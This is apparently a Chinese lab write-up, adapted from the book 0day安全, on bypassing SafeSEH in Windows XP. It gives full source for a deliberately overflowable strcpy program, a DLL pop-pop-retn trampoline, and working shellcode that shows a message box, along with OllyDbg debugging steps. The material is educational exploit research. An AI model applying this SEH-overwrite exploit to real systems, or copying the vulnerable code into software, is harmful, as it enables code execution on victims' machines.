實驗內容和代碼均修改自《0day安全》第二版
實驗環境
操作系統: Windows XP SP3 DEP關閉
EXE編譯器: Visual Studio 2008
DLL編譯器: VC++6.0 dll 基址設置 /base:"0x11120000"
編譯選項: 禁用優化 (/0d)
build版本: release版本
實驗原理
結合之前的內容,可以了解到對于未啟用 SafeSEH 的 dll 中的函數,如果該函數被調用作為異常處理函數,只要不包含中間語言(IL),這個函數就可以通過 SafeSEH 機制的校驗,進而被執行。
為了繞過 SafeSEH 的校驗,我們常常選擇一個跳板作為偽造的異常處理函數來“騙”過校驗。包括之前堆中的 shellcode,這里未啟用 SafeSEH 的模塊,以及之后會提到的加載模塊之外的指令跳板。區別在于對于堆來說 shellcode 存放在堆中;而這里的shellcode需要從“異常處理函數”返回到棧中來執行。
但從原理上來說,這些思想在實現 溢出-借助跳板-執行shellcode 的思路上都是大同小異的。
實驗代碼
先是用 VC++6.0 編譯的DLL文件,源碼如下:
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
由于VC++6.0 編譯的DLL默認基址為0x10000000,即我們需要的跳板地址中包含了 0x00 ,會截斷 strcpy ,所以這里需要更改一下工程選項,將默認的基址改掉,這里改為/base:"0x11120000"。
(注:或許第一次接觸的話會疑惑為什么改了以后裝載基址中還是含有0x00。其實,DLL 文件中,代碼片還有一個偏移量,一般是 0x1000 ,而最低位的 0x00 也會被我們需要的跳板代碼的起始位置所替換,所以最后使用的跳板地址中便不會含有 0x00 了。)
接下來是 VS2008 編譯的EXE:
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"http://address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
大致思路與之前一致,在這里先裝載了一個未啟用 SafeSEH 的DLL,在 test 函數中通過 strcpy 制造溢出,湮沒異常處理函數指針指向該DLL,再刻意制造了一個除零異常,借助該DLL中 pop pop retn 指令作為跳板,繞過 SafeSEH 校驗,并劫持程序返回棧中執行 shellcode 。
調試過程
由于 DLL 裝載地址是固定的,這里我采用 OD 直接打開該程序進行調試。
找到 main 函數跟進,執行完 LoadLibrary 后,使用 OllySEEH 插件查看加載的 DLL 的 SafeSEH 情況。
可以看到該 DLL 的加載基址為之前設置的0x11120000。
如果之前沒有分析過 DLL ,可以先用 LordPE 打開該 DLL 文件,結構就一目了然了。
得到裝載基址為 0x11120000,代碼片的偏移為 0x1000,即我們在這個 DLL 中添加的pop pop retn指令可以從0x11121000開始找。
接下來轉到該位置查看設定的 pop pop retn 指令位置,在后面的 code 中也有別的可以利用的 pop pop retn 指令(如下圖 0x11121017 處),這里我們用的是自主添加的位置 0x11121012 的指令作為跳板。
確定好跳板地址后,我們跟進程序,進入 test 函數執行流程,在 strcpy 函數執行完畢處中斷:
(只要嘗試跟進字符串復制流程即可發現,strcpy 執行時是一個字節一個字節覆蓋的,所以只要簡單地定位到 jnz 的下一條指令即可定位到 strcpy 完成處,完成處還會將 0x00 添加到字符串尾,如這里的 mov dword ptr ss:[ebp-0x1c], 0x0
這條指令,用來表示字符串結束。)
再觀察棧的情況可以看到字符串的起始地址為 0x0012FDB8
另外由于 SEH 節點是保存在棧中的,一般距離當前棧幀最近的 SEH 節點位于 ESP 下方(高位),往后翻即可看到,當然也可以直接通過 OD 查看 SEH Chain 。
得到最近的節點位于 0x0012FE90 ,所以最近的異常處理函數指針位于 0x0012FE90 + 4 的位置(前四個字節指向下一個節點,當然這里只有這一個異常處理節點)。
到這里,調試已經接近尾聲了,可是還沒有完全成功。結合上面 strcpy 執行完成后的匯編指令以及之前的源代碼,這里有一個細節:VS2008 編譯的函數,在進入 __try{} 語句塊時,會在 Security Cookie + 4 的位置壓入一個值 。這個值會根據該語句塊在函數中的位置而修改成不同的值。
例如兩個 __try{} 語句塊,進入第一個時該值為 0 ,進入第二個時為1。出現異常或處理完畢后賦值為 -2(VS2008 編譯的為-2,VC++6.0 中為 -1) 。
該值在異常處理中還有其他用途,這里不做展開。然而,它對我們的 shellcode 可能會造成影響,即可能會截斷我們的機器碼。
由上圖可以看到,如果在shellcode 的 pop pop retn 地址后直接跟上我們的機器碼,那么勢必會被這個異常處理的值給破壞。所以我們再加上8個 \x90 的填充即可。
最后經過計算,shellcode 的整體布局為:220個字節的 \x90 填充,4字節的跳板地址,8字節的填充,168字節的機器碼。
F9 讓程序繼續執行即可看到彈出對話框
你以為結束了?
其實這里還有另外兩個小插曲。
第一個小插曲:
一個是我們這里劫持的程序流程位于shellcode的起始位置,而shellcode中的一部分已經被跳板的地址和 __try{} 語句塊需要的值給污染了,雖然很幸運地在這里這兩處污染不會影響程序邏輯,但謹慎點總是好的。故而我們這里可以將 shellcode 起始位置處的 \x90\x90 改為一個簡單的短跳轉,短轉移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E,因為 jmp 跳轉基址是按照下一條指令來確定的,要減去兩個字節的短轉移指令長。
如果難以清晰理解的話可以參見下圖:
我們只要構造短轉移指令機器碼0xEB0E
(EB 為短轉移指令機器碼),置入0x0012FE90對應的 shellcode 位置,如此便不用擔心 shellcode 被污染的問題了。
第二個小插曲:
我們選擇pop pop retn的原因是,在進入異常函數處理之時,棧的情況是 esp +8 的位置保存了處理該異常的 SEH 節點首地址 0x0012FE90 ,那為什么這個地址會入棧呢?
簡單地講,在通過 SEH 進行異常處理的時候,會先把當前 SEH 節點的首地址,也就是 nextSEH 的指針壓入棧( 正常情況下,如果第一個節點無法處理該異常,轉向下一節點),然后壓進去兩個現場相關的參數。所以兩次 pop 之后,retn 指令賦值給 eip 的內容自然是當前 SEH 節點的首地址 0x0012FE90 了。